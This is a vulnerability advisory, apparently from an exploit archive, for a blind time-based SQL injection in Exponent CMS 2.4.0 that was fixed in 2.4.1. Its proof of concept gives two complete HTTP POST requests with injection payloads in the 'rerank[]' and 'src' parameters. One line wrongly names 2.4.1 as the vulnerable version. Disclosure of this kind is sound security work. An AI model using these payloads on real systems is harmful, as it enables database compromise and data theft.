Exponent CMS 2.4.0 Blind SQL Injection

`Document Title:  
===============  
Blind SQL Injection Vulnerability in Exponent CMS 2.4.0  
  
References (Source):  
====================  
https://exponentcms.lighthouseapp.com/projects/61783/tickets/1394-blind-sql-injection-vulnerability-in-exponent-cms-240-4  
https://github.com/exponentcms/exponent-cms/commit/fffb2038de4c603931b785a4c3ec69cfd06181ba  
  
Release Date:  
=============  
2016-11-06  
  
  
Product & Service Introduction:  
===============================  
Exponent CMS is an exciting web-based content management system. It makes creating and maintaining websites easy for non-technical users, while providing site managers the power and flexibility to add new features, completely customize the layout, and delegate responsibilities to other users.   
  
Abstract Advisory Information:  
==============================  
Nicky (Tencent Security Platform Department) discovered a remote sql-injection vulnerability in the Exponent CMS 2.4.0.  
  
Vulnerability Disclosure Timeline:  
==================================  
2016-11-06: Report to the vendor  
2016-11-07: Vendor confirm the vul and fix it in exponent cms 2.4.1  
  
Discovery Status:  
=================  
Published  
  
Exploitation Technique:  
=======================  
Remote  
  
Severity Level:  
===============  
High  
  
Technical Details & Description:  
================================  
A remote sql injection web vulnerability has been discovered in the exponent cms 2.4.1.  
The web vulnerability allows remote attackers to execute own malicious sql commands to compromise the application or dbms.  
  
Request Method(s):   
[+] POST  
  
Vulnerable Parameter(s):  
[+] lastpage / src  
  
Proof of Concept (PoC):  
=======================  
The remote sql-injection web vulnerability can be exploited by remote attackers.  
For security demonstration or to reproduce the sql-injection web vulnerability follow the provided information and steps below to continue.  
  
POST /exponent/ HTTP/1.1  
Content-Length: 268  
Content-Type: application/x-www-form-urlencoded  
X-Requested-With: XMLHttpRequest  
Referer: http://192.168.118.1:80/exponent/  
Cookie: PHPSESSID=4b42cc8b7f69ebe1afdcbf4abbfee00b; adminer_key=cdeaea5d52a8f402a28bd04980a7851b  
Host: 192.168.118.1  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21  
Accept: */*  
  
action=manage_ranks&controller=container&lastpage=http://192.168.118.1/exponent/untitled&model=container&rerank%5b%5d=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&src=%40section1  
  
  
POST /exponent/ HTTP/1.1  
Content-Length: 251  
Content-Type: application/x-www-form-urlencoded  
X-Requested-With: XMLHttpRequest  
Referer: http://192.168.118.1:80/exponent/  
Cookie: PHPSESSID=f7859e8215b717f81b7dbd2e2c1a2caa; adminer_key=cdeaea5d52a8f402a28bd04980a7851b  
Host: 192.168.118.1  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21  
Accept: */*  
  
action=manage_ranks&controller=container&lastpage=http://192.168.118.1/exponent/&model=container&rerank%5b%5d=16&src=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/  
  
  
Solution - Fix & Patch:  
=======================  
Exponent CMS 2.4.1 has fixed it.(https://github.com/exponentcms/exponent-cms/commit/fffb2038de4c603931b785a4c3ec69cfd06181ba)  
  
Credits & Authors:  
==================  
Nicky of Tencent Security Platform Department  
`